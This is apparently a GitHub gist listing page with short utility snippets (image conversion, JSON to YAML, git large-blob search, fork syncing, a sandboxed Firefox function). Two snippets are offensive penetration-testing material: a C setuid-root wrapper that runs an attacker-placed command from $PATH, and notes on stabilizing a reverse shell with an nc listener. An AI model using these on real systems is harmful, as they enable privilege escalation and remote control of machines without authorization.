Skip to content

Instantly share code, notes, and snippets.

#!/usr/bin/env python3
import os
import argparse
import cv2 # pip3 install opencv-python
# Construct the argument parser and parse the arguments
ap = argparse.ArgumentParser()
ap.add_argument("-e", "--extension", required=False, default='png', help="extension name. default is 'png'.")
ap.add_argument("-i", "--input", required=False, default='./', help="input directory")
@fazlearefin
fazlearefin / json2yaml.py
Created August 6, 2021 15:40
Convert a json file to yaml
#!/usr/bin/env python3
import yaml
import sys
import json
OUT=open('output.yaml','w')
IN=open(sys.argv[1], 'r')
JSON = json.load(IN)
@fazlearefin
fazlearefin / gist:82a0f78628b09b9b29bfe08c6a41cc7b
Last active October 16, 2021 18:52
git show all large blob objects
# ref: https://stackoverflow.com/questions/10622179/how-to-find-identify-large-commits-in-git-history
git rev-list --objects --all |
git cat-file --batch-check='%(objecttype) %(objectname) %(objectsize) %(rest)' |
sed -n 's/^blob //p' |
sort --numeric-sort --key=2 |
cut -c 1-12,41- |
$(command -v gnumfmt || echo numfmt) --field=2 --to=iec-i --suffix=B --padding=7 --round=nearest
#include <unistd.h>
void main() {
setuid(0);
setgid(0);
system("dirtyshellcmd"); /* create file dirtyshellcmd with shell command and make it available in $PATH */
}
@fazlearefin
fazlearefin / gist:b8060b333cce9df3f2074434d3308857
Created September 22, 2021 16:34
Bash | Sleep random seconds
#!/bin/bash
# 1-10 second random sleep/pause in the script
sleep $[ ( $RANDOM % 10 ) + 1 ]s
# even shorter sleep
sleep .$[ ( $RANDOM % 10 ) + 1 ]s
sleep .0$[ ( $RANDOM % 10 ) + 1 ]s
@fazlearefin
fazlearefin / gist:c6a9319bc48905288c7ad6945a7f59d9
Last active February 18, 2024 19:08
Syncing a forked repo with upstream
# fork repo
# clone forked repo
# add upstram
git remote add upstream {{upstram_url}}
git remote -v # to verify
# regular sync afterwards
git fetch upstream
git checkout main
git merge upstream/main
@fazlearefin
fazlearefin / stabilize-reverse-shell.md
Last active February 24, 2024 02:59
Stabilize reverse shell

Stabilize reverse shell

using python trick for full interactive prompt

# on kali
nc -vlnp 5555
## wait for the reverse shell prompt to initiate

# on victim box
@fazlearefin
fazlearefin / safefox.sh
Created March 20, 2024 04:36
Firefox locked down mode protected by firejail and apparmor on Ubuntu/Pop!_OS/Debian
function safefox {
/usr/bin/firejail --private --apparmor \
firefox --new-instance --no-remote --safe-mode --private-window $1
}